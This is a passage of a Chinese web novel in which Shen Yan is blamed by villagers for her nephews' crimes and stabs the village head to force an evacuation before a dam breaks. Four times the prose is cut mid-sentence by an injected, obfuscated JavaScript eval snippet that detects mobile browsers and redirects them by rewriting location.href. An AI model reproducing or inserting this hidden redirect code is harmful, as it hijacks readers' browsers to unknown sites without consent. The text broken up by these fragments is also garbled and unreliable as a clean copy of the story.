等吴娘带人回来，又等屋里收拾好，孙老汉抹了把泪想站起来，不想腿筋抽抽一个踉跄就要栽倒。 “老伯当心。”钟意眼疾手快扶了他一把。 沈砚也上前道：“老伯，能让我进去看看么？”这时细看，她才发觉孙老汉虽是劳苦面相，但顶多三四十岁，正当壮年。 孙老汉对凶悍的钟意有些惧怕，见他们以沈砚为首，不敢说什么只胡乱点了点头。 沈砚叹了口气进屋去。 屋里还有翻腾过的痕迹，吴娘顺手把一张条凳摆正。里间一张简陋的木床上坐着一对母女，匆匆拢了衣裳和发丝，眼睛红肿，格外狼狈。见到有外人进来，孙氏母女唬了一跳，如惊弓之鸟般紧紧抱在一起。 “孙家婶婶，你别怕，没人能再伤害你们了。”沈砚也不走近，只在门帘边轻叹一句。伤害已成，此时什么劝慰都无用，唯有凶手伏诛，才能大快人心！ 但现在还不是追究的时机。 “孙老伯，”沈砚转身，又对门口的孙老汉道，“我知你此刻心绪难平，但你是一家之主，眼看山中水坝就要溃塌，这是灭顶之灾，迟疑必死！你快和妻女收拾包袱，牛角坳全村都要即刻撤离，你们一家也不要耽搁，活着才能图谋往后！” 孙老汉显然反应不及，哆嗦着反问道：“你们是什么人，到底是什么人？” “这不重要，重要的是你赶紧带着家小离开这里，”沈砚顿了顿，又道，“换个新地方罢，没人认识你们，一家人可以重新开始。” 孙老汉眼中神色惊疑不定，顶着沈砚的目光，却是惊叫一声躲到了房里去！ 沈砚心下愈发沉重。 世人安土重迁，土生土长的乡民可能一辈子都没想过要挪窝，她这样冒然提议自是难以服众。这可如何是好，如不及时撤离，一旦溃坝就是死局，全村覆没，没有任何生还可能。若村民固执不从，她敢说，从沈复、沈辉到崔岑、林敢将军，没有一个人会多停留片刻！ 这一村老小的性命，真就这样弃之不顾了么？ 千万千万，乞求上苍，只盼崔岑和哥哥那边会顺利！ 沈砚一面心中祝祷，一面忧虑不止，可恨那村长养奸纵恶，口碑极坏，现下要他出面，他在村里又还剩多少威望？ 正为另一边悬着心，不想她这里也出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142942|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变故。 就在沈砚打算去找崔岑等人汇合时，竟发现，不知何时孙老汉家矮墙外围满了村民，看着他们的眼神里有古怪的恨意。 钟意手心一紧，已是暗暗提气。 人群分开，走出一位须发皆白的老者。他拄着木拐，盯着沈砚厉声道：“你们到底是些什么人，为何来牛角坳？边上那个穿青衣的，年前跟着沈家两个小恶霸来过，我还记着呢！” 穿青衣的正是林万峰，竟被人认出来了。沈砚止住大侄子，上前一步道：“敢问老先生名讳，是以什么身份拦着我等？” 老者冷笑一声，朗声道：“某姓赵，识得几个字在村里教学堂，往日当得乡亲们一声尊称，今天正是要为他们拦下问个清楚。这位女公子，该换你回答了！” 沈砚转目看了一圈，甚至在人堆里看到了神色复杂的阿旺父子。他们四人中且不说她最年幼，钟意和林万峰还是两个男子，这老人家却拿她来针对，她已是猜到前因后果。 多半是他们此前制住了沈牛杰和沈腾一干人，叫村民看出了端倪。趁着崔岑几个看着不好惹的走开，这就围了上来，要找她一个小女娃讨说法。 “我姓沈，乌镇太守府上，排行七。” “当啷！” 一根木棍掉落在地，村民们鸦雀无声，连带头的赵姓老者都愣住了。 “沈七？沈七！”不知是谁嚷了一句，顿时喧嚷四起，群情沸腾。 牛角坳的村民们忽然齐齐往前围了一步，这回盯着沈砚的眼神堪称仇恨。 阿旺被挤在人群里，瞪大眼睛看着她，那目光又陌生又茫然。 怎么回事？沈砚心头微震。 钟意脸色一变，忽地想起村口槐树上吊下的咒偶，想要给她提醒一句，却没头没尾不知从何说起。吴娘和林万峰也茫然不知所措，赶紧上前一步护在沈砚左右。 气氛正紧绷时，忽听背后传来“哐”一声响动，孙老汉把院门给关上了！ 身后是紧闭的门扉，眼前是群情激愤、手持棍棒的乡民，沈砚四人被堵在了门口。 “你就是沈七？”那赵姓老者忽然大笑了两声“老天”，举起拐杖远远朝沈砚身上一指，忿然道，“你沈七还敢到牛角坳里来？我还怪道那两个混世魔王为何要听你的话，原来你就是祸头子啊！” 被人这样指着，沈砚强按下心头躁意，冷静道：“赵老先生，我是沈七不假，但我不解你这话是何意。眼下我也走不脱，可否请你给个薄面，说说明白？” 见她坦荡无惧，赵老头顿时怒不可遏，气得大叫：“就算你沈砚是太守的女公子，天理昭昭，你看看这牛角坳！你纵着沈家人巧立名目，为非作歹，欺压乡民，你敢做不敢认？” 20. 第二十章 杀心 巧立名目，为非作歹，欺压乡民？ 沈砚心中顿生不祥预感：“这话不知从何说起，我什么时候竟做下了这些事？” “好好好，你不知！” 赵老头见她嘴硬，气得胡子直哆嗦：“你此刻是推得一干二净，可方才那两个孽障是你什么人，你不说我也知道，他们叫你姑姑！那是沈家桑园的公子，隔三岔五就带人来我们几个村里作威作福，一路欺善作恶，沿途不知多少人家遭罪，你方还亲眼见过一例，就在你身后！这不是你沈七纵着，他们怎敢如此肆无忌惮？” 简直牵强！沈砚蹙眉，不解道：“他们如何行事，怎会与我相干，我又是如何纵容他们作恶？” “还要狡辩，你还要狡辩！你沈七是太守的掌上明珠，是郓州的女公子，有你罩着他们，谁敢吱声，谁能奈何？” 什么，这是什么逻辑？ 她是谁怎么就和旁的人欺男霸女扯上了关系？ 这可真是无妄之灾！莫非因为她是沈太守的女儿，这郓州的所有恶事，所有恶人，就全是她的唆使，全是她的狗腿？ 饶是沈砚聪明，也凝眉想了片刻才恍然大悟。这山沟偏坳，讯息闭塞，若非有人刻意告知，不大可能有谁知晓她的身份和宗亲谱系。 是谁嫁祸于她，显而易见！ “老先生，那两个孽障胡乱攀扯，说我是沈七便是沈七，说我是沈三便是沈三了？”她沈砚算什么人物，他们怎么不干脆说自己是玉皇大帝派来的呢！ “当真可笑！”赵老头梗着脖子道，“难道你不是沈七，不是他们的姑姑？” “我是，可这二者之间实无因果，”沈砚不得不把话说得更明白些，“我从未来过牛角坳，从未动过村里一针一线，有人假我之名，你们不去追责作恶之人，反倒寄恨于我。” “我若这辈子都不来牛角坳，你们要待如何？” 沈砚之问不可谓不犀利，赵老头却被她激怒道：“你果然毫无悔意，还敢在这里大放厥词！你们沈家欺压村里多年，将村民当牛马使唤，上山砍树，下河采石，不知多少人丟了性命，我们能奈你何？我们今日就是捉了你，闹到太守面前也不怕问罪！” 这仇恨竟是结得这般大！ 眼下，显然误会一时难以消除。沈砚冷眼瞧着，更是上前一步，孤身独对众人：“老人家，你且慢动气，你既知我身份，就知拿下我要担上干系，我一人换你们一村的前程，你算算值不值？” 赵老头一噎。 沈砚见他没有接话，就知他是纸老虎。她缓了口气，继续道：“实则我现在还很糊涂，不知怎么就得罪了各位乡亲。方才听说，牛角坳的村长也许是沈氏族人，暂先不说真假，只是我远在乌镇从未和村里有过接触，难不成村长一家也是打着我的名号？” “哼！你现在自是推得一干二净，”赵老头露出鄙夷神情，“附近几个村子都知你沈砚喜欢石头，村里一声令下，多少乡亲上山下河给你采石，多少人摔断手脚甚至丧命。为一己私欲，你欺压乡邻，毫无怜悯，真真是良心都黑透了！” 连她喜欢石头都知道？沈砚朝林万峰望去，见他点头，不由对两个侄子的憎恶更上一层。不用说定是这两人给散播的，假着给她上贡的借口四处剥削劳力，到底什么仇什么恨，这两人要把所有脏水都泼给她？ “老先生你误会了！” 吴娘一直听着，这时忍不住出声道：“我家娘子是喜欢石头，但不是这些普通的山石，我家娘子为了学制砚，就是砚台！写字磨墨的那东西！她需要特定的砚石，那些石头我们郓州没有，我家娘子一直是在石铺里购买，从未收过村里一块石头，这都是有据可查的！” 听到有证据，赵老头的眼神闪了一闪。 恰这时从人群里钻出一个半大孩子，用力朝沈砚身上扔了一块石头：“才不要听你胡说，我爹就是给你挖石头的时候被水冲走了，你还我爹！” 那石块没什么准头，被林万峰挡了一挡，砸在了他小腿上。 不好！ 这仿佛是个信号，本就压抑的村民又开始蠢蠢欲动。 沈砚忙高声道：“老先生，我只问一句！村长一家日日都在你们眼前，就连沈家那两个孽畜也时常光顾，你们为何不齐心把村长驱逐，把那两个畜生捆去见官？” “几年了，你们一忍再忍，”沈砚见赵老头张了张嘴，也不给他说话机会，“就是要等到一个十几岁的小女娃来村里，问我要个道理么？别说官衙是沈家开的，敢不敢套上麻袋揍那两个畜生，村里就站不出一个还有血性的汉子么？你们此时围着我，我却担不起这骂名，莫非你们是想让我许些好处？” 这些反问，个个指向的核心不同。 人心不齐，再裹乱也是一盘散沙。 果然，片刻间响起无数激愤的声音，“放屁！我们牛角坳多的是有血性人！” “谁要你的好处，我们是气不过沈家欺负人！” “对，我们就是要讨个说法！” “……别听她狡辩，她在推卸责任！” “安静安静！” 赵老头把拐棍在地上狠狠戳了几下，颇为狼狈。他自然听出沈砚那些话里就差明说他是非不分，欺软怕硬。他对这个巧舌如簧的狠毒女子恨得不行，厉声道：“任你沈七说破天也没用，你们沈家人在附近犯下累累恶行，就是老天爷也无法给你们开脱！来啊，把他们给我抓起来，押去桑园换那两个畜生！” 这老头还学聪明了，不敢再提太守，就拿桑园说事。可沈砚也不会这样束手就擒：“赵老先生，你可想好了？” “你们连村长一家都不敢碰一指头，是什么给你们勇气，竟然敢去冲击桑园里几百号人？” 这话顿时又令冲动的村民茫然了，是啊，为什么突然有胆气了？真要和桑园作对，他们能讨得好么？ 沈砚冷眼瞧着，这些村民真正活得糊里糊涂，指东是东，指西是西。那个赵老头也只想虚张声势讨些补偿，如果他们此时拦下的是沈辉，恐怕这会儿早就被打瘸了！ 一只羊带领一群羊，结局也只能是一起曝骨荒野。 “不要听她胡说八道，抓起来！抓起来！”赵老头气急败坏，甚至动手把他身旁的一个村民推了出去。可那村民脚下打了个踉跄，一触到沈砚沉静的目光，吓得连退几步，又躲回人堆里。 钟意也看出端倪来了：“七娘子，你们先站开些。” 等沈砚三人依言退避，钟意也不见加速，一步两步最后离孙老汉家的泥墙还有几步远时，忽然暴起，一个空旋飞出一脚踹在墙上！ 这一脚真正是巨力，那泥墙应声轰响，被踹出一个大洞不说，连带着边上一段墙体都淅淅哗哗倒塌，尘土飞扬。 满场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142943|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂静。 钟意回身，原本围拢来的村民不由自主倒退了一步。他咧了咧嘴，恶劣道：“都想清楚了，要和我动手？” “太嚣张了，”在绝对的暴力面前，赵老头也吓得不轻，“果然就是你们，天理昭昭，你们不怕遭天谴么……” 村民们被钟意这一脚震慑，看着沈砚几人的眼神极是复杂。进退不得间，忽听村里响起了“锵锵”的洪亮锣声，又急又促，余声连绵。 “是谷场方向！” “是村长在敲锣，一定有大事！” 许多目光顿时朝赵老头看去，是留是走？ 看看沈砚，再看看挡在面前的钟意，赵老头咬牙道：“去，都去谷场！” 沈砚几人交换一个眼神，已是猜到崔岑那边有了动作。 她回头，从倒塌的院墙里看见孙老汉一家三口紧紧挽在一起，心下不免慨叹。 吴娘见状，朝这一家人扬声道：“孙老伯，你们莫再耽搁，赶快收拾收拾，跟着离开这里罢！” 往谷场的方向很好找，沈砚四人跟着村民一路过去。 路上，钟意便将刚进村时发现的咒偶一事说了，末了又解释道：“七娘子勿怪，当时实未料到你与这村里有如此牵扯，只当是孩童顽闹，叫你受惊了。” 谁又能料到呢？原是突发奇想来看水坝的，不想自己竟成了这山坳里的罪恶之源，隐藏幕后黑手。呵，若再过几年真把人惹毛了，哪位义士出手把她杀了，自己死前都不晓得得罪了谁！ 沈砚不是泥菩萨，被人欺到这份上，心中对沈腾和沈朗两兄弟已有了杀意。这世道的王法，是拿他们没办法的，凭他们的恶胚底子，将来只会为祸更多、更广、更肆无忌惮！ 想清楚了，沈砚也就不气了。 但还是要搞清楚这两个孽障攀咬的缘由，和她结的什么仇怨。沈砚想了想，问道：“大侄儿，你们同在一个屋檐下，可知这是为什么？” 一旁的林万峰本要摇头，不知想到什么脸色倏然一变。他脸上浮起可疑的红晕，支支吾吾道：“可能、可能是因为我……” “什么？”沈砚没反应过来。 天啊！ 任她怎样猜测，都猜不到原因竟是如此荒诞，一时愣在原地。 林万峰今年十九，亲事原该早几年就开始相看了。而她年及十五，却也一直没传出一丝许婚外嫁的迹象。偏偏大姑母异想天开乱点鸳鸯谱，想叫她和林万峰凑成一对，以便将来桑园由她承继回归沈氏，想来平日里大姑母是对子孙流露过这个念头的。这无疑是抢走了身为嫡孙的沈腾和沈朗的金饭碗？ 八字还没一撇的事，却叫两个侄儿嫉恨上了？ 是这样么，怕她个隔房的嫁来桑园抢走产业，怕万贯家财旁落？ 不知是什么心理，两人出来为非作歹竟打着沈七的旗号，要叫她的名声在桑园周边烂透，看以后她还怎么在桑园桑户间立足？ 是这样么？ 沈砚想了一圈，除了这个理由她实在想不出她和桑园寡淡的往来之中，还有什么事会得罪大姑母的两个金孙。但这太可笑了，权势和财帛的诱惑，他们觉得她沈砚不会拒绝，便想当然地对立、仇视、抹杀。 这恶意不分年龄大小，再次让沈砚感到了人性之复杂。恶的种子从不挑土壤，一吹歪风，就肆意生长。 好啊，好得很！ 21. 第二十一章 匕首 远远就看到谷场，偌大的场地上已经聚集不少村民。再走近一些就看见高台上站着的，除了崔岑和沈复几人，还有个年约五十的矮胖男人，手里提着一面铜锣。 见到沈砚一行人过来，村民纷纷避让。 “安静！安静！” 沈村长见人差不多来齐了，习惯性扯嗓吼了一句，才发觉底下本就静得可怕。 百十双眼睛沉默地看向高台，村里来了这些陌生人，再迟钝的村民都感觉到有大事要发生了。 “各位父老乡亲，我身边这几位是乌镇来的贵客，是特地来察看我们后山那个水坝的！” 沈村长扯着喉咙，紧张地喊道：“大家都知道，今年的雨水特别多，一直就没停过！据几位大人观察，我们后山的水坝已经很危险，随时有可能垮掉，一旦大水冲下来那就是山洪！山洪！那是什么后果你们都知道的！所以乡亲们，赶快回家收拾东西，我们全村人都要赶紧逃命！有谁没来谷场的，回去后左邻右舍都喊一声，这可不是开玩笑的，一旦出事就是死无葬身之地！都听见了没有！” 随着村长嘶吼的话音落地，谷场上顿时响起无数惊恐的声音，“山洪？！” “逃命？村长你不是开玩笑罢，怎么会发大水？” “……俺们在这里住了一辈子，逃哪里去？” “你们沈家又想干什么！老天爷，还讲不讲道理了，还让不让人活了！” 隐忍的村民怎么也没想到，锣声召集是要宣讲这样一件事，他们的田地和家人都落在这个山坳里，祖祖辈辈，这里扎着他们的根！他们打心里不愿相信后山的水坝要垮了，也不敢相信自己马上就要成为无家可归之人。 茫然，惊惧，手足无措。 没有一个人听话离开，反而潮水般围住高台，“村长，到底怎么回事，你不能骗我们啊！” 沈砚几个早在人群涌动时，就跨上了高台。众人不及寒暄，便只是眼神一个交错。 “我没有骗你们，后山的水坝真的要塌了，我没有开玩笑！”沈村长站位靠前，被激动的村民扯住了脚脖子，他低头要去掰开村民的手，又被人拉住了胳膊，“你们放手！放手，听见没有！” “哥哥，他知道你们是谁么？”沈砚朝那个短腿村长抬了抬下巴。 “要是不告诉他，他怎么肯敲锣？”沈复一想起方才的曲折，鼻子都气歪了，“我和崔侯去找他时，他正带着一帮人拿着撅头要来捉我们，幸亏有崔侯和林将军在，不然……” 人多势众，一不小心他和沈辉身上就挨了两下，现在背上还隐隐作痛，如此刁民，可恶至极！ 一旁的沈辉脸色阴沉，心情极是烦躁，在他看来这些贱民是死是活有什么要紧，水坝危险，他们几个多待片刻都是冒险，赶紧离开才是正理！ “村长！村长！”“真要发大水么，我们可怎么办？”“要走去哪里，你得给个说法呀！” 拉扯间沈村长手里的铜锣掉落，发出一声沉闷巨响，嗡声颤颤直逼耳蜗，倒有片刻叫人堆安静下来。 沈村长趁机挣开，一屁股坐在地上往后挪，吓得面色如土：“滚开滚开！都拉我做什么，老子哪里管得了你们死活！要命的就回去收拾，不要命的就在这等死好了！” 村长后退的位置正在沈辉身前。沈辉抬起泥靴抵在他后背，冷笑道：“少废话，赶紧叫村里人都离开！” “各位大人，各位大人！我已经按你们说的做了，他们不听，我也没办法啊！”沈村长吓得快哭了，左右看看沈复又看看崔岑，不由眼露乞求，“不是说水坝很危险么，我们还等什么，快走罢！出村离大路还有六七里，真有个什么事就来不及了！” 一见村长这副逃命模样，围拢来的村民这才意识到眼下真不是在开玩笑，一时间错愕不安，哀嚎连连，你推我搡，拉着左右的人全无头绪不知在说些什么。 真的要舍弃么？ 实在太难了！所有的家产都在这里，所有的寄托都在这片土地上！ 台下一片混乱，沈复试图让村长再安抚几句，可村长之前言语间要丢弃村民，现已没有人肯听了。沈复和沈辉这才有些慌神，四周的村民愤怒又焦虑，一股“没有活路”的暴躁情绪慢慢酝酿，越来越多人把目光盯向了高台上。 任是太守嫡公子，沈复没兵没马也束手无策。 沈砚瞥见崔岑三人站在一侧旁观，再看台下，她看见瘦小的阿旺挤在大人脚边，惊恐不安，谷场上几条土狗也在起伏叫唤，更添乱象。 这样下去什么事也做不成，说不定反而发生踩踏，许多人要先把命丟在谷场了。 沈砚眉间越蹙越紧，望向沈复道：“哥哥，村民会如此不安，多是因撤离一事会让他们流离失所，失田失产，此事还需上禀父亲，请他下令让周村邻镇代为收容，你看此事……” 沈复读懂她未尽之意，紧张道：“阿砚说的是，父亲若有所闻，定会如此安置。” 沈砚要的就是这句话，她和哥哥一双儿女都在当时，她爹沈闵之管不管都得管！ 她果断转身走向崔岑：“崔侯，你身上可带有利器？” 崔岑望着她眼中忽然迸发的锐气，心头猛然一跳。他目光灼灼，解下匕首递去：“七娘子，你要做什么？” 沈砚不答。 牛角坳已是群民无首，人心混沌，说是暂时失了神智都不为过。 “娘子！”吴娘见她模样十分陌生，竟有些害怕，出声叫住她。 沈砚不听。 她走到村长身旁，弯腰捡起木槌，在那面铜锣上奋力一击！ 金木敲击发出的巨响让她自己都有片刻的失聪，但效果明显，台下村民都被这一声吸引了目光，本能地望向她。 沈砚耳边还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142944|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有嗡鸣声，什么也听不见。 她一步一步走向村长，直到“锃”一声拔出雪亮的匕首，稳稳架在他脖子上，胁迫着人走向高台边缘。 刀锋紧紧压在颈侧，似乎知道她要做什么，这个平日里趾高气昂的男人吓得泣不成声：“不、不要，求求你！” 沈砚望着底下黑压压的人群，他们似乎还不知她要做什么，眼神还陷在茫然的惊惧里。 “啊——！” 沈村长发出惊天动地的哀嚎，捂着脖子慢慢跪倒，不消一会儿就是满手满肩的血色。 杀人了……底下的村民都惊呆了。 有一两滴血花飞溅到了沈砚脸上。 匕尖还在滴血，声音又回到了她的耳中。她听到身后有人倒吸冷气，她感觉到身后有惊骇的目光。 如果可以，她也不想动手。但谁叫牛角坳不认识太守嫡公子沈复，不认识桑园二公子沈辉，更不知燕侯崔岑的大名，只知道她沈七！ “牛角坳的人没有不恨我的，”沈砚用目光压着台下，高声道，“因我是沈七，我是郓州太守的女公子！既然你们知道我是谁，就应该知道我的能耐！现在我要带你们离开这里重新安置，你们也没有选择！除了乖乖听我的话，不听话的下场——” 她把刀尖指向还在哀叫的村长：“我不介意再多杀一个！” 谷场上回荡着村长的哀泣声，朴实的村民被这接连的转折震住了。 “现在，所有人回家收拾行囊，越轻简越好！越快越好！”沈砚抬头看了眼黑云密布的天空，扬声道，“山上的水坝随时可能崩塌，不要留恋财物，有命在，就还有富贵的一天！” “现在！所有人立刻回家去！” 不知是她的镇定感染了村民，还是她手上淌血的刀尖吓住了村民，围着高台的人一个接一个散开。片刻后，越来越多的人转身奔向了家的方向，跑着踉跄着推搡着，阿旺父子俩也撒腿跑了。 “当啷！” 短匕从手中滑落，沈砚这才发现自己手心汗湿，整只右臂都在微微发抖，半点力气也使不上。 “娘子！”吴娘满脸惊骇，快步抢上前来。天呐，这一连串事只在眨眼，竟逼得一向娴静的七娘拿起利器！她慌忙从袖中拿出手帕，要给沈砚擦脸。 沈砚却按住了吴娘的手，示意她把丝帕递给崔岑，勉力镇定道：“崔侯，还请救他……” 她的声音隐然有些发颤，崔岑点了点头：“钟意，救他。” 钟意的目光在他们两人脸上转了一圈，应声从怀里摸出两个小瓷瓶。这可是顶级伤药，是侯爷自用的，若不是侯爷发话，他可舍不得摸出来。两个瓷瓶一个内服，一个外敷，再用丝帕熟练地为沈村长包扎止住血，末了他还打了个漂亮的结。 钟意这才拍了拍沈村长僵住的脸，轻松笑道：“省点力气别嚎了，你死不了。” 22. 第二十二章 兵分两路 “爹！爹！你怎样了？” 见沈砚一行还肯出手包扎救治，沈村长的两个儿子这才敢从角落里出来，看见老爹一脖子的血迹，吓得手脚直打哆嗦。 “你们谁去牵头骡车，把人载回去，”沈砚缓过一口气，搭着吴娘的胳膊站直了，“家里的事也别耽误，赶紧收拾一下准备离开。” 奈何两人早被沈砚几个的凶悍吓破胆，争着要去叫车，都不肯留下与他们为伍。再加上村长哭嚎，沈砚听得脑仁疼，随意指了一人道：“都给我闭嘴！你留下，抱着你爹不要乱动！” 这才消停。 沈复几人在一旁早就看呆了。 从沈砚拔出匕首开始，沈复就觉得这个妹妹陌生极了，刀刃上映出的那双眼睛冰冷又坚毅，一点都不像他印象中那个恬静无争的妹妹。她也许并不那么柔弱，拿起过凿石的细杆小铁刀，但她怎么可能有胆量手握利刃去杀人，她见过血么，她下得了手么？ 沈复脑袋里混乱极了，山风呼动，妹妹一身明蓝夹紫绣花襦裙有飘带飞扬，如果不是半身血迹的村长还躺在她脚下，恍然刚才一切都是他的错觉。 沈辉心里想的更多。母亲为桑园的打算他是知道的，虽然他觉得多半不能成，但没想到这个看起来娇气的表妹骨子里如此狠辣，这可不妙，回去要和家里好好提个醒儿……正想着，就见沈砚忽然把目光落在他脸上，那眼神又冷又疏离，让他心中陡然升起一丝不安。 “沈辉堂哥，你可知牛角坳这些村民，为何会听从我的话？” 沈砚语声里的嘲讽并无掩饰，很是失礼：“说出来恐怕你要不信，我的名字在桑园附近，可比你们几位的大名都要好用多了。” 林万峰知道她为何生气，脸上讪讪的。见崔岑目露疑惑，钟意忙附耳过去，把方才发生的事向他简略说了。 但无人给沈辉解释，他向来骄扬跋扈，被这样问质问脸色就不太好看。他半恼半不解道：“哦？这是为何，阿砚何出此言？” “这就要问你那两个好侄儿了，方才就不该让他们走，正该当面问个清楚！我做梦也想不到，你两个侄儿和我有这样深仇大恨，要这样在四邻八村抹黑我！”沈砚一点也不客气，冷笑道，“堂哥可知附近村民视我为祸端，咒我唾我不知有多恨我？我沈砚还没死呢，轮得到你一家人这样糟贱我？” 沈辉被她脸上的怒容吓到了：“阿砚你说的什么，什么叫我两个侄儿，什么叫村民咒你恨你，我怎么全听不懂？” “那便请你回去仔细审一审、问一问，看看他们做下了什么好事！从今往后，桑园我是再不敢去了，待我回去就要禀明父亲，从今往后大姑母这门亲戚，我沈砚也高攀不起了！” “阿砚！”沈复忙上前斥了一声，妹妹原是知礼娴静淑女，此刻不但七情上脸还说出类同断亲的话，被人听去才真是要出事！ “怎么回事，你哪来那么大火气？” “怎么回事？”沈砚却委屈得差点落下泪来，字字句句控诉道，“那两个孽障四处作恶，是哥哥你今天恰巧看见了，若是看不见，你怎知他们几年来罪行累累，罄竹难书？” “但哥哥你又知道么，他们竟是以我的名义四下里放浪祸害，说是受我指使，将我说成倚仗，将他们所作所为都栽在我头上！我沈砚发誓从没收过村里孝敬的半分好处，可这十里八村的乡民却恨不能食我肉喝我血，哥哥，如此骇人听闻，你也觉得我该息事宁人么？” 沈复一时如坠冰窟，简直不敢置信。 他对大姑母家的两个侄儿也是心存不齿和恼怒，但万万想不到里头竟还有这般曲折，如若是真，别说阿砚如此愤怒，他都有想杀人的心了，太守府和妹妹的名声岂容他们这样败坏？ 沈复沉下脸，恼怒道：“堂哥，这是怎么回事，阿砚说的可是真的？” 沈辉有些慌神，连连摆手道：“不可能的不可能，一定是有什么误会！他们两个臭小子是顽皮了点，但也不敢这样害小姑……” “不敢？”沈砚反唇相讥，“看来在堂哥心里，他们还是天真可爱的垂髫小儿呢！难道你这么快忘了，他们方才还在孙老汉家中淫人|妻女，这也是天真顽皮，少不知事？” 时人说话多含蓄委婉，少有似沈砚这般夹枪带棒的，沈辉当即就涨成了猪肝脸色。 “大公子，我可以作证！” 吴娘憋了一肚子怒火，此时也顾不得主仆尊卑了，三言两语把众人在孙老汉门前被围堵的事说了。 钟意也补充道：“村民对七娘子十分有敌意，七娘子何辜，要蒙受这种不白之冤？若不是今天临时起意来了这里，恐怕七娘子身上这个恶名要一代传一代，媲美黑山姥姥了。” 沈复早就听得脸色铁青。 沈辉又尴尬又恼火，心中明白已是覆水难收，那两个行事无脑的孽障竟这样坏事，往后再想与太守府修复关系就是千难万难！怪不得沈砚突然那么大气性，憋着一口气都敢拔刀杀人了！ 沈砚似乎迁怒到连沈辉都不想多看一眼，转身道：“我言尽于此，此间事了我定要请父亲为我讨个说法。不过当务之急，还是要先安排好村民们撤离，就请哥哥和崔侯做主罢。” 若不是她此番动刀子太过骇人，须得遮掩一下，她没打算在此时就轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15142945|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易挑破桑园的遮羞布，那也实在太便宜他们了！ 高台上还坐着沈村长父子两个，方才那些话他们一字不落全都听见了，父子俩鹌鹑似的低头恨不能缩成一团。 沈复狠狠吐出一口郁气，这半天一连串的变故让他有些头晕脑胀。 尤其是知道了牛角坳对妹妹沈砚、对太守府积恨已久，他更不能丢下村人不管，否则他们兄妹二人的恶名真要洗不脱了！ “为今之计，我们要兵分两路，一去城中向州衙报信，一去桑园请大姑母做好容留村民的准备。阿砚，你带崔侯和林将军三人回去，崔侯身份贵重，不能在此久留。堂哥和万峰侄儿，你们两人——” “莫非哥哥要独自留下坐镇？”沈砚打断道，“不妥，方才我当众说了那样的话，如若掉头先走，岂不叫村民更加惊惶？还是我留下，哥哥带崔侯先回去，再请父亲火速派人来救，现在约是申时，看天色在天黑前还不会落雨，一个来回的时间足够了。” “不行，你一个女儿家怎能留在这种地方！” 沈复不同意，村民对妹妹本就有敌意，任何一件事没有处理好，她都有可能被人围攻，何况水情凶险甚至可能丧命！ “哥哥，我没有开玩笑。” 见沈砚拒不让步，沈复恼得眉头紧锁。 一直作壁上观的崔岑，忽出声道：“还是明举回去报信罢，我陪七娘子留下，有什么事我也能搭把手。” 崔岑一路上都极少开口，但一开口，他略显清冷的嗓音就格外有存在感。 “不可，不可！” 沈复吓得嗓音都变调了，这些人中他最为顾虑的就是崔岑，他怎敢把崔岑留在这个危坝下？说句实话，几百个村民捆一起都不如他一人的性命重要！ “别浪费时间了，你既担心我们安危，就快些早去早回。” 崔岑视若无睹，一锤定音。 这下反成了沈复和沈辉两个，连同林万峰，被众人塞去报信。林敢和钟意自不必说，吴娘也不肯抛下沈砚，定要陪在左右。 这都是些什么犟种啊？！ 沈复心急如焚，只得带人疾奔出村。 他心中的不安是越酿越浓，恨不能插翅飞去求援！ 谷场上阴云密布，吹来的山风带着一丝土腥味，又冷又硬。 沈砚拎起台上的铜锣和棒槌，望向崔岑，虽不知他为何要涉险，但相比之下她的确更愿意留下的人是他。都是见过彼此另一面的人，倒是可以收起那些愤懑之色。 见崔岑眼中并无水坝压顶的畏难之色，沈砚心里更有把握了，冷静道：“崔侯，请跟我来。” 23. 第二十三章 活路 村里极是嘈杂混乱，沈砚和崔岑几人路过一户户院墙外，目之所见无不鸡飞狗跳。大人小孩都在忙忙奔走，骂声哭声叫嚷声，各种声音化为一股浓浓的不安气息，盘旋上升汇于阴云密布的半空中。 